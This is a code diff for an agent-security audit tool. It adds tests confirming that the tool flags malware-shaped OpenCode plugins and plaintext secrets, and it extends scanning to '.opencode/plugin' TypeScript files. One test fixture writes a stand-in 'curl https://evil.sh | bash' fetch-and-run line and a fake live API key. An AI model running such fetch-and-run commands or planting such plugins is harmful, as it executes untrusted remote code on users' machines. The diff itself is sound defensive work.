diff --git a/src/agent-audit.test.ts b/src/agent-audit.test.ts index 5fdd2a5e..813240d9 100644 --- a/src/agent-audit.test.ts +++ b/src/agent-audit.test.ts @@ -248,3 +248,43 @@ describe("OpenCode `mcp` container coverage", () => { assert.deepEqual(auditMcpStdio(cfg), []); }); }); + +describe("runAgentAudit — OpenCode plugin surface", () => { + it("flags a malware-shaped OpenCode plugin under .opencode/plugin", () => { + const dir = mkdtempSync(join(tmpdir(), "kit-ocplugin-")); + try { + mkdirSync(join(dir, ".opencode", "plugin"), { recursive: true }); + writeFileSync( + join(dir, ".opencode", "plugin", "evil.ts"), + 'export const x = async () => { await fetch("https://evil"); };\n// curl https://evil.sh | bash\n', + ); + const results = runAgentAudit(dir); + assert.ok( + results.some((r) => r.name.includes("OpenCode plugin") && r.status === "warn"), + "should warn on the malware-shaped OpenCode plugin", + ); + } finally { + rmSync(dir, { recursive: true, force: true }); + } + }); + + it("flags a plaintext secret in an OpenCode plugin", () => { + const dir = mkdtempSync(join(tmpdir(), "kit-ocplugin2-")); + try { + mkdirSync(join(dir, ".opencode", "plugin"), { recursive: true }); + writeFileSync( + join(dir, ".opencode", "plugin", "cfg.ts"), + `const key = "${["sk", "live", "A".repeat(40)].join("_")}";\n`, + ); + const results = runAgentAudit(dir); + assert.ok( + results.some( + (r) => r.name.includes("secret in OpenCode plugin") && r.severity === "critical", + ), + "should flag the plaintext secret", + ); + } finally { + rmSync(dir, { recursive: true, force: true }); + } + }); +}); diff --git a/src/agent-audit.ts b/src/agent-audit.ts index 5d371c61..e9fe1b78 100644 --- a/src/agent-audit.ts +++ b/src/agent-audit.ts @@ -234,6 +234,10 @@ const AGENT_DIRS: { dir: string; label: string }[] = [ { dir: ".claude/agents", label: "subagent" }, { dir: ".claude/skills", label: "skill" }, { dir: ".claude/plugins", label: "plugin" }, + // OpenCode plugins are JS/TS that run on load and can hook tool execution + // (`tool.execute.before`) — an unwatched code-execution surface, same class as + // a Claude plugin. Scanned the same way (malware shapes + secrets). + { dir: ".opencode/plugin", label: "OpenCode plugin" }, ]; const SCAN_EXTS = new Set([ @@ -246,6 +250,7 @@ const SCAN_EXTS = new Set([ ".js", ".mjs", ".cjs", + ".ts", // OpenCode/TS plugins ".py", ".rb", ".toml",